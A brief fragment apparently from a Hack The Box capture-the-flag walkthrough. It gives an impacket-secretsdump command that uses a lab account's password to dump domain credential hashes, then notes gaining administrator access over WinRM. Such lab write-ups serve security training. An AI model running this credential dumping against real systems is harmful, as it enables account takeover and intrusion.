impacket-secretsdump htb.local/ctflover:password123@10.10.10.161  
Copy

With the administrator account we can now get admin with winrm.